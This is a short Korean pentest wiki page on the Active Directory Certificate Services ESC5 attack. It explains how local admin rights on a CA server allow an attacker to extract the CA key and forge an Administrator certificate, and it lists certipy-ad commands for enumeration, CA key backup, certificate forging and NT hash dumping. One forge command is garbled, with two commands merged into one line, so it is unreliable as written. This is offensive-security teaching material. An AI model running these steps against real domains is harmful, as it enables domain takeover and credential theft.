> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/active-directory/adcs/esc5.md).

# ESC5

Certipy는 템플릿에 대해서 정보를 수집하고 공격 가능한 방법을 열거하는 도구기 때문에 도메인에 대한 ACL을 광범위하게 수집하는 정보 수집 도구(예 : BloodHound)를 사용했을 때 식별할 수 있습니다.

CA 서버에서 로컬 관리자 권한을 획득하면 CA 인증서와 개인 키를 발급받는 것이 가능합니다. CA의 개인키를 통해 Administrator의 인증서를 위조하여 서명하면 무결한 위조 인증서가 생성됩니다.

## Abuse

<pre class="language-bash" data-title="UNIX"><code class="lang-bash"><strong># 취약한 템플릿 열거
</strong>certipy-ad find -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -vulnerable -stdout -enabled

<strong># CA 서버 인증서 발급
</strong>certipy-ad ca -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -config '&#x3C;ca-fqdn>' -backup

<strong># Administrator 인증서 발급
</strong>certipy-ad forge -ca-pfx CONTOSO-AD01-CA.pfx -upn Administrator@contoso.cocertipy-ad forge -ca-pfx '&#x3C;pfx>' -upn 'administrator@domain' -sid '&#x3C;sid>' -crl 'ldap:///'

<strong># 인증서로부터 nt해시 덤프
</strong>certipy-ad auth -pfx '&#x3C;pfx>' -dc-ip '&#x3C;dc-ip>'
</code></pre>

## References

{% embed url="<https://www.rbtsec.com/blog/active-directory-certificate-services-adcs-esc5/>" %}

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation>" %}

{% embed url="<https://www.hackingarticles.in/ad-cs-esc5-vulnerable-pki-object-access-control/>" %}
